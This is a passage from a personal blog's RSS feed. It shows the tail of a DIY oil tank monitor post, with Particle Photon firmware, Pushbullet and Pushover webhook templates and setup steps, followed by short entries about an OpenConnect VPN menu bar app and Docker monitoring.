</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">3.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">10.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">3.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">3.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">9.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">2.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">8.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">2.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">8.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">2.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">7.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">2.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">7.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">2.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">2.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">6.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">2.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">6.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">2.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">5.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">2.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">5.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">1.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">4.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">1.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">4.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">1.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">4.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">1.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">3.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">1.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">3.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">1.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">3.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">1.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">2.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">1.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">2.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">1.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">2.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">0.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">1.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">0.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">1.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">0.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">1.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">0.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">1.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">0.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">0.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">0.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">0.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">0.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">0.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">0.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">0.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">0.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="n">Particle</span><span class="p">.</span><span class="nf">publish</span><span class="p">(</span><span class="s">&#34;oil-gallons&#34;</span><span class="p">,</span> <span class="nf">String</span><span class="p">(</span><span class="n">gallons_of_oil</span><span class="p">,</span><span class="mi">1</span><span class="p">),</span> <span class="n">PRIVATE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">delay</span><span class="p">(</span><span class="mi">10000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="c1">// Reset all of the alert flags!
</span></span></span><span class="line"><span class="cl">    <span class="cm">/*
</span></span></span><span class="line"><span class="cl"><span class="cm">    if(gallons_of_oil &gt; 240 &amp;&amp; refill_alert) {
</span></span></span><span class="line"><span class="cl"><span class="cm">        Particle.publish(&#34;Alert&#34;, &#34;Oil REFILLED!&#34;, PRIVATE);
</span></span></span><span class="line"><span class="cl"><span class="cm">        alert1 = 1; alert2 = 1; alert3 = 1; alert4 = 1; alert5 = 1; alert6 = 1;
</span></span></span><span class="line"><span class="cl"><span class="cm">        refill_alert = 0;
</span></span></span><span class="line"><span class="cl"><span class="cm">    }
</span></span></span><span class="line"><span class="cl"><span class="cm">    
</span></span></span><span class="line"><span class="cl"><span class="cm">    else if(gallons_of_oil &gt; 125 &amp;&amp; gallons_of_oil &lt; 187.5 &amp;&amp; alert1) {
</span></span></span><span class="line"><span class="cl"><span class="cm">    */</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">gallons_of_oil</span> <span class="o">&gt;</span> <span class="mi">125</span> <span class="o">&amp;&amp;</span> <span class="n">gallons_of_oil</span> <span class="o">&lt;</span> <span class="mf">187.5</span> <span class="o">&amp;&amp;</span> <span class="n">alert1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">Particle</span><span class="p">.</span><span class="nf">publish</span><span class="p">(</span><span class="s">&#34;Alert&#34;</span><span class="p">,</span> <span class="s">&#34;Oil Level bellow 75%&#34;</span><span class="p">,</span> <span class="n">PRIVATE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">alert1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">refill_alert</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">gallons_of_oil</span> <span class="o">&gt;</span> <span class="mi">65</span> <span class="o">&amp;&amp;</span>  <span class="n">gallons_of_oil</span> <span class="o">&lt;</span> <span class="mi">125</span> <span class="o">&amp;&amp;</span> <span class="n">alert2</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">Particle</span><span class="p">.</span><span class="nf">publish</span><span class="p">(</span><span class="s">&#34;Alert&#34;</span><span class="p">,</span> <span class="s">&#34;NOTICE: Oil Level bellow 50%&#34;</span><span class="p">,</span> <span class="n">PRIVATE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">alert2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">alert1</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">refill_alert</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">gallons_of_oil</span> <span class="o">&gt;</span> <span class="mi">75</span> <span class="o">&amp;&amp;</span>  <span class="n">gallons_of_oil</span> <span class="o">&lt;</span> <span class="mf">87.5</span> <span class="o">&amp;&amp;</span> <span class="n">alert3</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">Particle</span><span class="p">.</span><span class="nf">publish</span><span class="p">(</span><span class="s">&#34;Alert&#34;</span><span class="p">,</span> <span class="s">&#34;NOTICE: Oil Level bellow 35%&#34;</span><span class="p">,</span> <span class="n">PRIVATE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">alert3</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">alert1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">alert2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">refill_alert</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">gallons_of_oil</span> <span class="o">&gt;</span> <span class="mf">62.5</span> <span class="o">&amp;&amp;</span>  <span class="n">gallons_of_oil</span> <span class="o">&lt;</span> <span class="mi">75</span> <span class="o">&amp;&amp;</span> <span class="n">alert4</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">Particle</span><span class="p">.</span><span class="nf">publish</span><span class="p">(</span><span class="s">&#34;Alert&#34;</span><span class="p">,</span> <span class="s">&#34;WARNING: Oil Level bellow 30% - Refill Soon&#34;</span><span class="p">,</span> <span class="n">PRIVATE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">alert4</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">alert1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">alert2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">alert3</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">refill_alert</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">gallons_of_oil</span> <span class="o">&gt;</span> <span class="mi">50</span> <span class="o">&amp;&amp;</span>  <span class="n">gallons_of_oil</span> <span class="o">&lt;</span> <span class="mf">62.5</span> <span class="o">&amp;&amp;</span> <span class="n">alert5</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">Particle</span><span class="p">.</span><span class="nf">publish</span><span class="p">(</span><span class="s">&#34;Alert&#34;</span><span class="p">,</span> <span class="s">&#34;CRITIAL: Oil Level bellow 25% - Call to Refill&#34;</span><span class="p">,</span> <span class="n">PRIVATE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">alert5</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">alert1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">alert2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">alert3</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">alert4</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">refill_alert</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">gallons_of_oil</span> <span class="o">&lt;</span> <span class="mi">50</span> <span class="o">&amp;&amp;</span> <span class="n">alert6</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">Particle</span><span class="p">.</span><span class="nf">publish</span><span class="p">(</span><span class="s">&#34;Alert&#34;</span><span class="p">,</span> <span class="s">&#34;EMERGENCY: Oil Level bellow 20%  - Get Delivery ASAP!&#34;</span><span class="p">,</span> <span class="n">PRIVATE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">alert6</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">alert1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">alert2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">alert3</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">alert4</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">alert5</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">refill_alert</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Now that you have everything you need, the last part is to web hook the &ldquo;Alert&rdquo; publish call into something that actually alerts you. The easiest way to do this is to create a JSON &ldquo;custom&rdquo; webhook, which allows you to &ldquo;hook&rdquo; a publish event. In this case, I will hook the &ldquo;Alert&rdquo; published event, and redirect it to Pushbullet. You can just as easily call a 3rd party SMS service (Twilio), Email (Sendgrid, Mailgun, etc), or some other custom notification/hook.</p>
<p>Here is the Pushbullet config (please replace &ldquo;Access-Token&rdquo; with your token):</p>
<h2 id="web-hook-for-notifications-free-with-pushbullet">Web Hook for Notifications (free with Pushbullet)</h2>
<pre tabindex="0"><code>{
&#34;eventName&#34;: &#34;Alert&#34;,
&#34;url&#34;: &#34;https://api.pushbullet.com/v2/pushes&#34;,
&#34;requestType&#34;: &#34;POST&#34;,
&#34;headers&#34;: {
&#34;Access-Token&#34;: &#34;#REPLACE-WITH-YOUR-PUSHBULLET-ACCESS-TOKEN&#34;,
&#34;Content-Type&#34;: &#34;application/json&#34;
},
&#34;json&#34;: {
&#34;type&#34;: &#34;note&#34;,
&#34;title&#34;: &#34;Particle Alert - {{PARTICLE_PUBLISHED_AT}}&#34;,
&#34;body&#34;: &#34;{{PARTICLE_EVENT_VALUE}}&#34;
},
&#34;deviceID&#34;: &#34;&#34;,
&#34;mydevices&#34;: true,
&#34;source&#34;: &#34;{{PARTICLE_DEVICE_ID}}&#34;,
&#34;published_at&#34;: &#34;{{PARTICLE_PUBLISHED_AT}}&#34;
}
</code></pre><p>Or, if you are using Pushover</p>
<pre tabindex="0"><code>{
  &#34;event&#34;: &#34;Alert&#34;,
  &#34;url&#34;: &#34;https://api.pushover.net/1/messages.json&#34;,
  &#34;requestType&#34;: &#34;POST&#34;,
  &#34;rejectUnauthorized&#34;: true,
  &#34;noDefaults&#34;: false,
  &#34;headers&#34;: {
    &#34;Content-Type&#34;: &#34;application/json&#34;
  },
  &#34;json&#34;: {
      &#34;token&#34;: &#34;#APP-API-TOKEN-KEY-HERE#&#34;,
      &#34;user&#34;: &#34;#USER-KEY-HERE#&#34;,
      &#34;title&#34;: &#34;Particle Alert - {{PARTICLE_PUBLISHED_AT}}&#34;,
      &#34;message&#34;: &#34;{{PARTICLE_EVENT_VALUE}}&#34;
  },
  &#34;deviceID&#34;: &#34;&#34;,
  &#34;mydevices&#34;: true,
  &#34;source&#34;: &#34;{{PARTICLE_DEVICE_ID}}&#34;,
  &#34;published_at&#34;: &#34;{{PARTICLE_PUBLISHED_AT}}&#34;
}
</code></pre><p>You will note that I have added a whole lot of pictures showing the steps around the Photon code build/flash and the Webhooks on the Instructables page. Here is some more informations/detials:</p>
<h2 id="what-if-you-have-never-used-a-particle-photon-detailed-help-on-setupcodeflashing">What if you have never used a Particle Photon? Detailed Help on setup/code/flashing!</h2>
<p>I made the assumption that a most people who would be interested in a hardware project like this one would be very familiar with Particle&rsquo;s photons/arduino, and I think this is a bad assumption. If you have not used these before, here is a step by step walk thru what to do from the software side in order to get this to work.</p>
<p>1.) Start by following this: <a href="https://docs.particle.io/guide/getting-started/start/photon/#step-1-power-on-your-device">https://docs.particle.io/guide/getting-started/start/photon/#step-1-power-on-your-device</a><br>
2.) After you have initialized/&ldquo;set up&rdquo; your photon, go to: <a href="https://build.particle.io">https://build.particle.io</a><br>
3.) On the left side, under &ldquo;Current Apps&rdquo; (where it says &ldquo;Title&rdquo;) create an app called &ldquo;oil-tank&rdquo;.<br>
Paste the large code from &ldquo;Particle Photon web IDE code:&rdquo; above, and click on the top-left &ldquo;Save&rdquo; (folder icon)<br>
4.) On the left, click on &ldquo;Libraries&rdquo; (bookmark icon) and under &ldquo;Community Libraries&rdquo; search in the box for &ldquo;HC_SR04&rdquo;.<br>
5.) Click on the found &ldquo;HC_SR04&rdquo; and click the blue &ldquo;INCLUDE IN PROJECT&rdquo; button. Then select from the list &ldquo;oil-tank&rdquo; (what you called your app in step #3), and click the blue &ldquo;CONFIRM&rdquo; button.<br>
6.) At this point, make sure there is only ONE line that looks like this:</p>
<pre tabindex="0"><code>// This #include statement was automatically added by the Particle IDE.
#include &lt;HC_SR04.h&gt;
</code></pre><p>at the top of the file.<br>
7.) Now clic on &ldquo;Devices&rdquo; and click on the star icon next to the device you setup in step #1 &ndash; this selects it for flashing the firmware.<br>
8.) Go back to your &ldquo;Code&rdquo; for &ldquo;oil-tank&rdquo; and click &ldquo;Verify&rdquo; (check icon above &ldquo;Save&rdquo;) and then &ldquo;Flash&rdquo; (lightning bolt icon above &ldquo;Verify&rdquo;)<br>
9.) That&rsquo;s it &ndash; you have now flashed the firmware on your Photon.</p>
<h2 id="what-are-these-web-hooksnotifications---step-by-step-instructions">What are these Web Hooks/Notifications - step by step instructions</h2>
<p>1.) Go to: <a href="https://console.particle.io/devices">https://console.particle.io/devices</a><br>
2.) Click on &ldquo;Integrations&rdquo; (star-looking icon above the Billing icon) and click on &ldquo;New Integration&rdquo;, and click on &ldquo;Webhook&rdquo;.<br>
3.) There are TWO differentways to do this - using the &ldquo;WEBHOOK BUILDER&rdquo; step by step, OR pasting the whole JSON in the &ldquo;CUSTOM TEMPLATE&rdquo; section. No matter which you do, the only thing to really pay attention to is the &ldquo;Event Name&rdquo;. It always needs to be &ldquo;Alert&rdquo; (unless you change the Particle.publish in your firmware. This is what hooks that notifications into some &ldquo;real world&rdquo; notifcation - alert, SMS, Email, etc.)<br>
4.) If you use the &ldquo;CUSTOM TEMPLATE&rdquo;, you can paste the &ldquo;Web Hook for Notifications (free with Pushbullet)&rdquo; code.<br>
Alternative, and let&rsquo;s say if you want SMS for example, you can go to the &ldquo;WEBHOOK BUILDER&rdquo; section, and follow something like this: <a href="https://www.twilio.com/docs/guides/sms-mms-messages-particle-photon#sign-into-or-sign-up-for-a-twilio-account">https://www.twilio.com/docs/guides/sms-mms-messages-particle-photon#sign-into-or-sign-up-for-a-twilio-account</a>, specifically following this sub-section: <a href="https://www.twilio.com/docs/guides/sms-mms-messages-particle-photon#example-1-a-simple-example-of-sending-smses-with-a-particle-photon">https://www.twilio.com/docs/guides/sms-mms-messages-particle-photon#example-1-a-simple-example-of-sending-smses-with-a-particle-photon</a> (the &ldquo;Set Up a Particle Webhook&rdquo; part, and noting that the &ldquo;Event Name&rdquo; should be &ldquo;Alert&rdquo;).<br>
5.) That&rsquo;s it &ndash; you now have a method to &ldquo;Alert&rdquo; to external services. Generally, look for the REST POST URL, and either place it in your &ldquo;WEBHOOK BUILDER&rdquo; section, or into the JSON template I provided above.</p>]]></content:encoded>
    </item>
    <item>
      <title>The perfect OpenConnect GUI Menu Bar App with 2FA/Duo support - for Mac OS X</title>
      <link>https://vpetkov.net/2017/07/25/the-perfect-openconnect-gui-menu-bar-app-with-2faduo-support-for-mac-os-x/</link>
      <pubDate>Wed, 26 Jul 2017 03:07:45 +0000</pubDate>
      <guid>https://vpetkov.net/2017/07/25/the-perfect-openconnect-gui-menu-bar-app-with-2faduo-support-for-mac-os-x/</guid>
      <description>&lt;p&gt;You need to connect to a Cisco AnyConnect (or Juniper Pulse Connect) VPN, and you cannot stand the default client for a variety of reasons (slow connects, crashes, unable to start, pointless pop-up notifications, crashes, pid-loss, etc), and so, you look for alternatives.&lt;/p&gt;
&lt;p&gt;You find OpenConnect - the perfect solution, only to realize that the 3rd-party GUI is basically broken and actually doesn&amp;rsquo;t work (last checked on 8-14-17) with 2-Factor authentication (ex: Duo).&lt;/p&gt;
&lt;p&gt;At this point, you can run OpenConnect from a terminal, which works, but you have to keep the terminal open and you have to wrap the long command in a shell script.&lt;/p&gt;
&lt;p&gt;Or, you can use my little solution which seems to work perfectly.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;OpenConnect GUI - Connected&#34; height=&#34;240&#34; loading=&#34;lazy&#34; src=&#34;https://media.vpetkov.net/images/openconnect/vpn-connected.png&#34; width=&#34;370&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;OpenConnect GUI - Disconnected&#34; height=&#34;240&#34; loading=&#34;lazy&#34; src=&#34;https://media.vpetkov.net/images/openconnect/vpn-disconnected.png&#34; width=&#34;370&#34;&gt;&lt;/p&gt;
&lt;p&gt;Everything you need to get started is on GitHub:&lt;br&gt;
&lt;a href=&#34;https://github.com/ventz/openconnect-gui-menu-bar&#34;&gt;https://github.com/ventz/openconnect-gui-menu-bar&lt;/a&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>You need to connect to a Cisco AnyConnect (or Juniper Pulse Connect) VPN, and you cannot stand the default client for a variety of reasons (slow connects, crashes, unable to start, pointless pop-up notifications, crashes, pid-loss, etc), and so, you look for alternatives.</p>
<p>You find OpenConnect - the perfect solution, only to realize that the 3rd-party GUI is basically broken and actually doesn&rsquo;t work (last checked on 8-14-17) with 2-Factor authentication (ex: Duo).</p>
<p>At this point, you can run OpenConnect from a terminal, which works, but you have to keep the terminal open and you have to wrap the long command in a shell script.</p>
<p>Or, you can use my little solution which seems to work perfectly.</p>
<p><img alt="OpenConnect GUI - Connected" height="240" loading="lazy" src="https://media.vpetkov.net/images/openconnect/vpn-connected.png" width="370"></p>
<p><img alt="OpenConnect GUI - Disconnected" height="240" loading="lazy" src="https://media.vpetkov.net/images/openconnect/vpn-disconnected.png" width="370"></p>
<p>Everything you need to get started is on GitHub:<br>
<a href="https://github.com/ventz/openconnect-gui-menu-bar">https://github.com/ventz/openconnect-gui-menu-bar</a></p>]]></content:encoded>
    </item>
    <item>
      <title>Monitor Docker resource metrics with Grafana, InfluxDB, and Telegraf</title>
      <link>https://vpetkov.net/2016/08/04/monitor-docker-resource-metrics-with-grafana-influxdb-and-telegraf/</link>
      <pubDate>Fri, 05 Aug 2016 03:17:10 +0000</pubDate>
      <guid>https://vpetkov.net/2016/08/04/monitor-docker-resource-metrics-with-grafana-influxdb-and-telegraf/</guid>
